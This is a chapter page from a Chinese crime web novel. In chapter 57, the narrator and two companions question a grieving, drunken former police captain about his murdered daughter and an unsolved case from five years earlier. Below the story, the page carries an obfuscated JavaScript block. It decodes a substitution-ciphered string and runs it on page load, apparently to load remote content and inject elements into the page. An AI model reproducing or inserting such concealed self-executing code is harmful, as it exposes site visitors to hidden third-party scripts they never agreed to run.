返回

梦洄源

首页
关灯
护眼
字体:
第五十七章:一个父亲的悲哀
( )见那人与余晓施眉目之间有几分相似,满脸醉意,我一个箭步冲上去,便夺走了他手中的酒瓶。

那人似乎是没想到我会这么失礼,手中的酒瓶没抓稳,酒水撒了一地。

“你,你干嘛啊!”

男人脸上红扑扑的,摇摇晃晃站起身,刚想夺过我手里的酒瓶,却被上前而来的薄砺辰一把拦住。

我和走上前来的莫致朗交换了一个眼神,随即,他过去扶着喝醉酒的男人,却被那人给一把推开。

“我说了,特么别管老子!”

男人看了看我身旁的莫致朗和薄砺辰,又瞥了我一眼,满脸不屑。

见我没有要给他酒瓶的意思,他摇摇晃晃又走向沙发的角落,居然又掏出一瓶还没开过的啤酒,自顾自地拿起茶几上的启瓶器。

“吧——”

一声清脆的开瓶声,使得我们齐齐皱眉。

不用说,他肯定就是余晓施的父亲余队了。余晓施的死一定给他带来了沉痛的打击,他才会如此自暴自弃。

“余队!”

我鼓起勇气朝他吼了一句,接着道:“你这样有意思吗?凶手现在逍遥法外,你却想喝酒喝进医院?”

莫致朗似乎都被我突如其来的吼叫声给吓了一跳,淡淡走远几步,站在旁边,饶有兴致地看着我。

薄砺辰没有发声,只是悠哉悠哉地坐在一旁的沙发上,完全不把自己当外人。

男人头发花白,面容枯黄,此刻似是被我骂醒了,重重地将酒瓶“哐当”一声立在桌面,竟然双手捂住眼,一屁股坐在身后的沙发上痛哭流涕起来。

“我可真是个废物,我不配当晓施的父亲,都怪我,都怪我,呜呜——”

余队哽咽着将这串话说出口的时候,我的心里很不是滋味。

莫致朗立马从桌子上抽了两张纸,递在余队的面前,余队说了声“谢谢”,便双手颤抖地接过他递来的纸。

我们坐在一旁,我望着余队,我知道他一定是听到这个噩耗,心里承受了莫大的打击,可是我却不知道怎么开口安慰他。

见这么一个大男人在我面前哭的这般伤心,我有些手无足措,心想是不是我刚刚的话太过分了。

莫致朗在我身边,压低声音给我来了这么一句。

“还是你有办法,我刚刚过来的时候,差点被他赶出来。”

我示意他小声点,凑到他耳边,低声道:“你动作也太快了吧,我们可才到。”

刚说完,我扭过头去,视线便对上坐在对面的薄砺辰的一抹意味不明的目光。

余队见我们都没有主动和他说话,便开口朝着我道:“谢谢你,小姑娘。”

我摆了摆手,也不想在这耽搁时间,便回归正经。

“余队,你不觉得,晓施遇害,凶手可能是冲着你来的吗?”

今日去警局的时候,我在想,余晓施也不过只是个刚毕业的高中生,在学校虽然有些张扬跋扈,但是据我所知,她根本没有接触过什么社会人士,不可能会得罪什么杀人犯。

警局排查她生前的社会关系,肯定没有发现什么与她有关的线索,不然刘法医也不会只找我一个人。

说到这里,余队似乎是更为痛苦,脸皱成了一张苦瓜状,一边流着泪,一边嘴里喃喃着。

“我现在是个四十岁的糟老头子,前不久,老伴突发疾病离我而去,现在唯一的女儿也没了,你叫我怎么活,怎么活?”

他望着我,眼眶里全是泪,老泪纵横。我和莫致朗都看呆了,不知道如何是好。

我很难想象,曾经在警队里威武无比的刑警队队长,如今竟成了这副模样。

这究竟是命运造化弄人,还是有人背地里在操纵一盘大到可怖至极的棋?

薄砺辰坐在一边淡淡望着,脸上依旧是没什么表情。

只是见他的样子,他似乎是在想什么东西,没有专注听余队说话。

见我们都没说话,余队又道:“我在警局呆了十年,调去刑警队的时候,跟了我那个队长五年,才坐上了刑警队队长的位置。如今我已经不是局里的人了,我还能有什么办法?”

说罢,他双手抱头,又开始痛哭起来。

我知道他需要时间去接受这个惨痛的现实,哭出来也总比憋在心里好。见他悲痛欲绝的样子,我一度差点也跟着哭出来,但我忍住了。

因为我知道,我如果也哭,他便会触景生情,哭的更伤心,所以我们都应该坚强。

等他哭的差不多的时候,趁他擦鼻涕之际,我朝着他问:“余队,你还记得五年前,有什么重大的刑事案件吗?”

其实我想问的是刘法医助理的那件案子,但是我没有这么说出口,因为我想等他自己说出来。

余队望了望我们,谁知道薄砺辰居然接着我的话问道:“您还记得五年前,有没有未破获凶手的案子?”

这是什么意思?

我不明所以地望了望薄砺辰,不明白他话里的意思。

余队靠在沙发上,吸了吸通红的鼻子,似乎是陷入了沉思。

片刻,他又道:“已经过去太久了,我怕是想不起来了。”

就在这时,莫致朗急匆匆地回答他道:“您再想一想,说不定能想起些什么?”

见他们都这么积极问话,我心想,也许光凭我一己之力,的确是很难找到什么线索的。

人这一路走来,一个人,的确是很难啊。

见余队还在想,也许是他喝了太多酒,昏昏沉沉的,所以还需要些时间,我们便趁机将他客厅上的酒瓶收拾了一番,随即打包好垃圾,装在了几个塑料袋里。

再坐在沙发上之时,余队已经好了很多,看来已经清醒了些。

他嘴里朝我们道着“谢谢”,随即双眼发光,神色激动地盯着眼前的茶几,显然是想起了什么。

“五年前,刘法医助理的那起案子,到现在还没有抓到凶手吧。”

他的语气似是肯定,又似是疑问。

我们朝他点点头,他道:“当年负责这起案子的是我,局里限时破案,我未能完成,这一切都怪我,是我没用。”

余队垂下头,眼里尽是失落与伤心。

见他终于将这句话说出口,我刚想继续问下去,他又想起了薄砺辰问他的问题。

“五年前,有一起连环奸.杀案,凶手手法残忍至极,可是我们还是没能将他缉拿归案。当时这件案子,可以说是轰动全国,可是凶手依然没有找到。毕竟过去这么多年了,当时的很多技术,都不太完善,所以很多事情,都是不了了之。”余队道。

我深吸一口气,尽量平复住自己的心情。

“那有没有可能,是这些受害女孩中某一个的追随者,见警方没用抓到凶手,便怀恨在心,打算报复警方以获得关注呢?”

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();